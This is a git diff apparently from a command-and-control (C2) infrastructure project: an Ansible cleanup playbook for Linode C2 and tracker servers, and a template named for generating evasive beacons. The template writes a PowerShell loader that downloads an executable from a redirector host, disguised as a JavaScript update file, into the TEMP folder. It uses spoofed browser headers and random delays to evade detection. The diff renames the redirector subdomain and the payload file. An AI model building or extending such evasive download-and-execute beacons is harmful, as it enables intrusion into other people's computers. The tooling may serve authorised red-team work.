diff --git a/Linode/cleanup.yml b/Linode/cleanup.yml
index 052ef16..f8eae24 100644
--- a/Linode/cleanup.yml
+++ b/Linode/cleanup.yml
@@ -84,6 +84,6 @@
           {% if c2_deletion is defined %}
           - C2 {{ c2_name }}: {{ c2_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }}
           {% endif %}
-          {% if tracker_deletion is defined %}
+          {% if tracker_deletion is defined and tracker_name is defined %}
           - Tracker {{ tracker_name }}: {{ tracker_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }}
           {% endif %}
\ No newline at end of file
diff --git a/templates/generate_evasive_beacons.sh.j2 b/templates/generate_evasive_beacons.sh.j2
index dd7579a..85fbe3e 100644
--- a/templates/generate_evasive_beacons.sh.j2
+++ b/templates/generate_evasive_beacons.sh.j2
@@ -4,7 +4,7 @@
 # Configuration (automatically populated by Ansible)
 BEACONS_DIR="/opt/beacons"
 C2_HOST="{{ ansible_host }}"
-REDIRECTOR_HOST="cdn.{{ domain }}"
+REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
 REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
 TEMP_DIR=$(mktemp -d)
 
@@ -118,7 +118,7 @@ cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
 \$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
 \$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
 \$url = "https://$REDIRECTOR_HOST/static/js/update.js"
-\$outpath = "\$env:TEMP\\$(random_string 8).exe"
+\$outpath = "\$env:TEMP\\random-\$(New-Guid).exe"
 try {
     \$wc.DownloadFile(\$url, \$outpath)
     Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)